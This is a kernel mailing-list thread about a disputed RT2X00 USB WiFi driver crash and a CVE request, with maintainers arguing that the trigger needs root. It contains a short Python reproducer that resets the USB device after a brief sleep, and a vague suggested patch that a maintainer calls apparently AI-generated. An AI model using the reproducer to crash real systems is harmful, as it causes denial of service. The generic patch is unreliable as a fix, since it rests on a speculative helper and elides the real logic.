These points underscore the importance of addressing this vulnerability. While the initial setup requires root permissions, the critical aspect is the kernel's handling of the input, which should be robust enough to prevent crashes or null pointer dereferences, ensuring the system's stability and security.


Our requirement is to assign a CVE for this "bug" because it is an issue within the kernel. Since it is a problem, it poses a potential risk. Therefore, we believe it is necessary to address it accordingly.

Because it involves a driver development error, we believe it is necessary and meaningful to address this issue.
Cheers,

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Greg KH]

On Tue, Aug 06, 2024 at 11:54:33AM +0800, LidongLI wrote:
> 
> Hi Ted,
> 
> Thank you for your detailed response.
> 
> An attacker doesn't need to create a udev rule in the user's path because that isn't feasible. We need to consider scenarios where certain special devices (embedded systems) are designed from the outset with RT2X00 wireless network cards included in the udev rules. This is because they need to perform custom or automated functions related to the embedded system's operations.
> 
> Therefore, what I want to emphasize is that while this vulnerability may not affect users who do not have udev rules configured, setting udev rules is not inherently insecure. It is a normal configuration. Without udev rules, USB devices cannot be properly invoked or perform additional functions under certain conditions. It's a necessary feature.
> 
> However, for users utilizing RT2X00 drivers with this normal configuration, it directly allows the execution of the script without sudo, leading to a system crash. This indicates that the RT2X00 driver itself has a vulnerability that needs to be addressed. A robust and secure kernel and driver should not crash or dereference a null pointer regardless of the script run or the permissions used. We tested other drivers and did not encounter similar issues.
> 
> I believe this issue should be considered from two aspects:
> 
> 1.The vulnerability indeed requires certain conditions to be triggered, but the configuration required is normal and necessary.

No, the configuration is not normal or necessary at all, there is no
such default udev rule, or system configuration that allows what you
have found to be triggered by a normal user without root permissions.

If you think there is a bug in the kernel here, wonderful, please submit
a kernel patch to resolve the issue and we will be glad to review it.

I don't have time to look into this until next week due to travel, so
unless someone else picks it up before then, nothing new is going to
happen on it.

thanks,

greg k-h

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Greg KH]

On Tue, Aug 06, 2024 at 11:54:33AM +0800, LidongLI wrote:
> Our requirement is to assign a CVE for this "bug" because it is an issue within the kernel. Since it is a problem, it poses a potential risk. Therefore, we believe it is necessary to address it accordingly.

I know your school professors are making this a requirement for you, but
that is not _our_ requirement here, sorry.  Please work with your school
to find something else to work on.

> Because it involves a driver development error, we believe it is necessary and meaningful to address this issue.

I do not see the driver error yet, please submit a patch showing this
and we will be glad to review it.

thanks,

greg k-h

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Theodore Ts'o]

I was taking a closer look at your reproducer, and there's even a
bigger problem.  Your reproducer runs the moral equivalent of this:

   import usb.core

   dev = usb.core.find(idVendor=0xb58e, idProduct=0x0005)
   dev.reset()

(I've changed the USB vendor/product id's to my Blue Yeti microphone,
so that it was a valid USB device; but that doesn't matter for the
purposes of this demonstration.)

The reset method requires root privileges!

usb.core.USBError: [Errno 13] Access denied (insufficient permissions)

So how does this actually show up in a real life exploit?  The
attacker won't have root privileges, or it's already game over.  If
this is an embedded device, the USB device will be soldered onto the
PC board, so you're not going to be able to plug and unplug it a
hundreds time, with a tenth of a second between plug/unplug cycles
(good luck having a human do that, BTW).

And if you do have physical access, and it's not soldered in -- in
most situations, if you have phyysical access to the device, it's also
likely game over.  For example, you could plug into the debug headers,
and just flash a new firmware onto the embedded device, and again,
game over.

Again, this may very well be a bug.  But not all bugs are real life
security exploits.  This is especially true for syzbot-generated
noise, which runs its "attack scripts" as root.  The excuse given for
this is that it finds real kernel bugs, which may be true (although
others are still syzbot-generated noise); however, not all kernel bugs
are CVE-worthy.

Best regards,

						- Ted

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[LidongLI]

Dear 



Yes, dev.reset does indeed require root privileges, but what we find abnormal is, as I noted in the POC, a normal reset is not problematic. However, after time.sleep(0.1), it triggers some issues.

import usb.core
dev = usb.core.find(idVendor=0xb58e, idProduct=0x0005)
time.sleep(0.1) # It actually needs a sleep of 0.1 or 0.2 seconds to take effect; otherwise, it follows normal development logic. For example, when there is an exception error like 'resource busy', a dev.reset is required.
dev.reset()




Thank you for your response. Yes, I am able to test patches. Please provide the necessary patches, and I will conduct the tests to verify their effectiveness.

Best regards

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[LidongLI]

Dear 



When will the patch be released? We are waiting to test it.




Best regards

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Alan Stern]

On Wed, Aug 14, 2024 at 01:58:16PM +0800, LidongLI wrote:
> 
> Dear 
> 
> 
> 
> When will the patch be released? We are waiting to test it.

Sorry it's taking so long.  I have been extremely busy with other things 
during the last few weeks and have not had any time to work on this.

Alan Stern

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[color Ice]

How is the patch development progressing? We would like to conduct a
full verification test. It’s possible that many drivers have this
issue, so you could try a simple fix, and we’ll see how it works.
Recently, we tested some embedded devices where the operating systems,
due to automated operations involving WiFi drivers, had UDEV rules
built-in or granted significant permissions to USB. This allows the
PoC to cause a kernel crash without needing root or sudo.

Alan Stern <stern@rowland.harvard.edu> 于2024年8月14日周三 22:55写道：
>
> On Wed, Aug 14, 2024 at 01:58:16PM +0800, LidongLI wrote:
> >
> > Dear
> >
> >
> >
> > When will the patch be released? We are waiting to test it.
>
> Sorry it's taking so long.  I have been extremely busy with other things
> during the last few weeks and have not had any time to work on this.
>
> Alan Stern

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Greg KH]

On Mon, Aug 19, 2024 at 06:49:42PM +0800, color Ice wrote:
> How is the patch development progressing? We would like to conduct a
> full verification test. It’s possible that many drivers have this
> issue, so you could try a simple fix, and we’ll see how it works.

This should be unique to this driver, but please, test others.

> Recently, we tested some embedded devices where the operating systems,
> due to automated operations involving WiFi drivers, had UDEV rules
> built-in or granted significant permissions to USB. This allows the
> PoC to cause a kernel crash without needing root or sudo.

But how are you allowed to run local programs on systems that have those
types of permissions?

thanks,

greg k-h

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Greg KH]

On Mon, Aug 19, 2024 at 11:11:10PM +0800, color Ice wrote:
> On some TP-Link routers or routers running OpenWrt, as well as Raspberry Pi
> devices with a headless setup and BeagleBone boards, certain USB
> configurations are required by default. These devices typically grant
> higher permissions to USB by default. Therefore, on certain devices, I can
> run a PoC without using sudo. This explains why there are some inherent
> risk scenarios when declaring this vulnerability, as there are many Linux
> distributions applied to different embedded devices.

I suggest filing bugs with those distros/system images so that they
properly remove the ability for users to reset any random USB device
this way.  If any user can disconnect any driver from any device, that's
not a good system...

Also, why not dig into the code and try to come up with a fix while
waiting?  The code is all there for everyone to read and resolve, that
way you get the proper credit for fixing the issue as well.

thanks,

greg k-h

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[color Ice]

Dear Ubuntu Team,

We have analyzed the issue, but due to our limited time and ability to
create a fix, we are unable to submit a patch directly. However, we
can provide some ideas to assist you in generating a fix that we can
then test.

I have encountered a race condition issue in the RT2X00 driver,
specifically related to the function rt2x00usb_work_rxdone. The issue
manifests as a kernel NULL pointer dereference, which causes the
system to crash. Below is the detailed analysis and my suggestions for
addressing the issue.

Problem Analysis

The kernel panic log indicates that the crash occurs due to a NULL
pointer dereference at the following location:

[ 371.258315] BUG: kernel NULL pointer dereference, address: 0000000000000038
[ 371.258339] CPU: 8 PID: 144 Comm: kworker/u40:2 Not tainted
6.8.0-40-generic #40~22.04.2-Ubuntu
[ 371.258346] Workqueue: phy23 rt2x00usb_work_rxdone [rt2x00usb]

The root cause appears to be a race condition where multiple threads
may simultaneously access and modify shared resources without proper
synchronization. Specifically, it seems that the pointer being
accessed in rt2x00usb_work_rxdone is not consistently initialized
before being used, leading to the NULL pointer dereference.

Suggestions for Fix

Introduce Locking Mechanisms: To prevent concurrent access to shared
resources, I recommend introducing locking mechanisms such as spinlock
or mutex. This would ensure that only one thread can access the
critical section at a time, thereby avoiding race conditions.

Pointer Validity Check: Before dereferencing any pointer, it's
essential to check whether the pointer is valid (i.e., not NULL). If
the pointer is invalid, the function should safely return without
proceeding further.

Retry and Delay Mechanism: If a critical resource is not yet
initialized or is in an unexpected state, implementing a retry
mechanism with delays could help avoid crashes. Additionally, more
debug information should be logged in case of failure to assist in
diagnosing the issue.

Code Review: A comprehensive code review focusing on areas where
hardware resources and multithreading operations intersect could
reveal other potential race conditions. Identifying and addressing
these issues proactively would enhance the driver’s robustness.

Example Code Snippet

While I cannot provide a complete patch, here is an example of how the
suggested changes could be implemented:


void rt2x00usb_work_rxdone(struct work_struct *work)
{
    struct rt2x00_dev *rt2x00dev = container_of(work, struct
rt2x00_dev, rxdone_work);
    unsigned long flags;
    void *data;

    // Lock to protect shared resources
    spin_lock_irqsave(&rt2x00dev->irq_lock, flags);

    data = rt2x00usb_get_rx_data(rt2x00dev);
    if (!data) {
        // Unlock and return if data is not valid
        spin_unlock_irqrestore(&rt2x00dev->irq_lock, flags);
        return;
    }

    // Process the data
    ...

    // Unlock after processing
    spin_unlock_irqrestore(&rt2x00dev->irq_lock, flags);
}


This snippet shows how to introduce a spinlock to protect shared
resources and ensure that the pointer is valid before dereferencing
it.

Conclusion

In conclusion, the race condition in the RT2X00 driver is likely
caused by insufficient synchronization between threads. By adding
proper locking mechanisms, pointer validity checks, and retry
mechanisms, this issue can be mitigated. I hope these suggestions will
assist in resolving the problem. If you require further assistance or
additional information

Greg KH <gregkh@linuxfoundation.org> 于2024年8月20日周二 01:43写道：
>
> On Mon, Aug 19, 2024 at 11:11:10PM +0800, color Ice wrote:
> > On some TP-Link routers or routers running OpenWrt, as well as Raspberry Pi
> > devices with a headless setup and BeagleBone boards, certain USB
> > configurations are required by default. These devices typically grant
> > higher permissions to USB by default. Therefore, on certain devices, I can
> > run a PoC without using sudo. This explains why there are some inherent
> > risk scenarios when declaring this vulnerability, as there are many Linux
> > distributions applied to different embedded devices.
>
> I suggest filing bugs with those distros/system images so that they
> properly remove the ability for users to reset any random USB device
> this way.  If any user can disconnect any driver from any device, that's
> not a good system...
>
> Also, why not dig into the code and try to come up with a fix while
> waiting?  The code is all there for everyone to read and resolve, that
> way you get the proper credit for fixing the issue as well.
>
> thanks,
>
> greg k-h

Re: Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[Greg KH]

On Wed, Aug 21, 2024 at 04:25:36PM +0800, color Ice wrote:
> Dear Ubuntu Team,

We are not affiliated with Ubuntu at all, sorry.  Please be kind.

> I have encountered a race condition issue in the RT2X00 driver,
> specifically related to the function rt2x00usb_work_rxdone. The issue
> manifests as a kernel NULL pointer dereference, which causes the
> system to crash. Below is the detailed analysis and my suggestions for
> addressing the issue.
> 
> Problem Analysis

<snip>

This mostly looks like it was created with chatgpt or something like
that, please do not send us things like that.

Again, work with your professor at school who has assigned you this task
to complete it, don't force us to do the work for you :)

If we get a chance, we'll look at it, but note it's way down the
priority list for most of us.

thanks,

greg k-h